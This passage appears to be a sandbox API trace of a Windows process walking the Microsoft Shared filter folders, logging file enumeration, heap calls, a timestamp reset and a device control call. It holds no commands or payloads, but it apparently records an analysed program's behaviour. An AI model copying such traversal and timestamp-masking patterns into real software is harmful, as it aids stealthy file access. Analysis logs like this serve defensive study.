RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.163] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0232.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.163] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0232.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.164] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.164] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0232.164] GetLastError () returned 0x12 [0232.164] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0232.164] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0232.164] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.164] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0232.164] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0232.164] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0232.164] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0232.164] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0232.164] GetLastError () returned 0x12 [0232.164] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.164] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0232.164] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5288) returned 1 [0232.164] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0232.164] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0232.164] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0232.164] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0232.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0232.168] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0232.168] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8ff690 [0232.168] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8ff690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x8ff690, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0232.168] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ff690) returned 1 [0232.168] NtClose (Handle=0x1b0) returned 0x0 [0232.168] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0232.168] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0232.168] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5288 [0232.168] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.168] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0232.172] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.172] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0232.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.173] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.173] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0232.173] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5288) returned 1 [0232.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f71a8 [0232.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fdac8 [0232.173] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.173] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0232.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.173] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.173] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f71c8 [0232.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fdbd0 [0232.173] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.173] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0232.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.173] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.173] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f71e8 [0232.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fdcd8 [0232.173] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.173] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0232.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.173] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.173] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7208 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fdde0 [0232.174] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.174] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.174] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.174] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7228 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fdee8 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x8f4470 [0232.174] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f3990) returned 1 [0232.174] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.174] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.174] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.174] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7248 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fdff0 [0232.174] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.174] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.174] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.174] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7268 [0232.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5288 [0232.175] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.175] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0232.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.175] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.175] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7288 [0232.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5398 [0232.175] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.175] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0232.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.175] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.175] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f72a8 [0232.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5420 [0232.175] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.175] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0232.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.175] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.175] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f72c8 [0232.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f54a8 [0232.175] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.175] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0232.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.175] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.175] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f72e8 [0232.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5530 [0232.176] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.176] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, 